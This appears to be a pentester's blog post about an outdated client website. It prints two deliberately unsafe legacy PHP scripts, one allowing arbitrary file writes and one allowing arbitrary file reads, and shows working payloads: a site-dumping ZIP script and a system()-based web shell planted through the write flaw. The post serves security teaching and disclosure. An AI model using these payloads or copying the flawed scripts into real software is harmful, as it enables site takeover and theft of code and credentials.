DEV Community

Cover image for Website security pentesting with a funny twist
Bartosz Wójcik
Bartosz Wójcik

Posted on • Updated on

Website security pentesting with a funny twist

Our company performs pentests and security audits both in individual clients and in government and military agencies.

During the last pentest session at the client's ancient site, I discovered a script left on the server by the developer who designed the system years ago. Designed in the '90s or so :)

MTV '90s

You get the picture.

⚙️ Pentesting an ancient website

The script, publicly available (its address was sent to clients), was used by one of the components to save logs on the server, in a very original way.

I don't even know how to comment on it, I'll just show you the code (modified to not reveal the customer information):

<?php

    /*function deleteDir($path) {
        if (empty($path)) { 
            return false;
        }
        return is_file($path) ?
                @unlink($path) :
                array_map(__FUNCTION__, glob($path.'/*')) == @rmdir($path);
    }

    deleteDir('xxx');
    die;*/

    $filename = $_REQUEST["xvar"];
    $user = $_REQUEST["yvar"];
    $xyz = $_REQUEST["zvar"];

    chdir('xxx');

    $hfile = fopen($filename, "a+");

    $fsize=filesize($filename);

    if ($fsize==0){
        fwrite($hfile, $user."\r\n\r\n");
    }

    fwrite($hfile, date("r")." - ".$xyz."\r\n");

    echo "1";

?>
Enter fullscreen mode Exit fullscreen mode

So what's going on here? This script simply takes the parameters from a POST or GET query and uses their contents to overwrite an existing or create a new file on the server in the subdirectory "xxx".

🐞 It's not a bug - it's a feature!

The problem is that no validation is performed and it is possible to create any file in any system directory, including PHP scripts!

It's not a bug - it's a feature!

❓ How to take advantage of this vulnerability?

Creatively. That's for sure. And so that the client understands that this is not a joke. You have to construct a POST query to the server and set parameters accordingly:

  1. "xvar" - in this parameter we save the name of the newly created PHP script
  2. "yvar" - will contain the contents of the PHP code with a <?php tag opening the PHP script and a tag at the end that will open the multi-line PHP comment /*, because this variable is followed by the date and this would break the PHP code structure
  3. "zvar" - with this parameter we will close the multi-line PHP command */ and close the PHP script tags ?>.

📦 Downloading the entire page in a ZIP archive

The following script has been written in such a way that, using the ZIP extension for PHP, it creates an archive (without compression, so as not to extend the duration of the script) with all the files on the site.

<?php $r = realpath('../');$z = new ZipArchive();$z->open('dump.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE); $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($r),    RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($r) + 1); $z->addFile($filePath, $relativePath); $z->setCompressionName($relativePath, ZipArchive::CM_STORE); } } $z->close(); /*
Enter fullscreen mode Exit fullscreen mode

To create this script on the server using found vulnerability I used extension for Chrome - RestMan. After setting the query of POST type and parameters, the faulty script returned "1", which as you can see shows that it has been executed to the end.

RestMan Chrome Extension

Now all you have to do is enter the address of the site and the name of the script in your browser, it is located in the "xxx/dump.php" directory and if everything goes ok, it will create a ZIP archive a directory level up with all the content of the site.

🕒 Extend PHP script execution time

The problem may be the time needed for the PHP script to work, limited by the settings in the php.ini configuration file. You can extend it by executing the PHP function set_time_limit(10 * 60); right at the beginning of the script.

🎁 Remote shell

Of the more interesting things to drop off is the remote shell, which can be used to remotely execute commands, thanks to the system() function built into PHP:

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die(); } /*
Enter fullscreen mode Exit fullscreen mode

This function can be and often is disabled in PHP configuration, but it is worth knowing about.

🤔 Is this even a mistake?

I've been thinking about it for a while because the address of the script was sent to the system clients after a specific action but they couldn't be aware of what was going on after it was executed, i.e. new files are being created in the "xxx" subdirectory. Because how?

However, further tests of this archaic system allowed to find another faulty script that beats the one above:

<?php
// downloading a file
    $filename = $_GET['filename'];

// fix for IE catching or PHP bug issue

    header("Pragma: public");
    header("Expires: 0"); // set expiration time
    header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

// browser must download file from server instead of cache

// force download dialog

    header("Content-Type: application/force-download");
    header("Content-Type: application/octet-stream");
    header("Content-Type: application/download");

// use the Content-Disposition header to supply a recommended filename and
// force the browser to display the save dialog.

    header("Content-Disposition: attachment; filename=".basename($filename).";");

/*
The Content-transfer-encoding header should be binary, since the file will be read directly from the disk and the raw bytes passed to the downloading computer.
The Content-length header is useful to set for downloads. The browser will be able to show a progress meter as a file downloads. The content-lenght can be determines by filesize function returns the size of a file.
*/

    header("Content-Transfer-Encoding: binary");
    header("Content-Length: ".filesize($filename));

    @readfile($filename);

    exit(0);

?>
Enter fullscreen mode Exit fullscreen mode

It's pretty hard to beat this one. Really.

The script allows you to download any file from the server, e.g. you just need to set "filename" parameter to "index.php" or some other, often used file like "config.php" to get into the rest of the system.

😲 Client was surprised

After pointing out the errors and presenting their potential in real word attacks, the client was surprised that such a thing was possible at all!

John Cena Surprised

But this was due to the age of the system and the methods of software development used years ago, which we are unlikely to experience any more.

Although, who knows how many more of these old flaws hang around in websites all around the web :)

Top comments (0)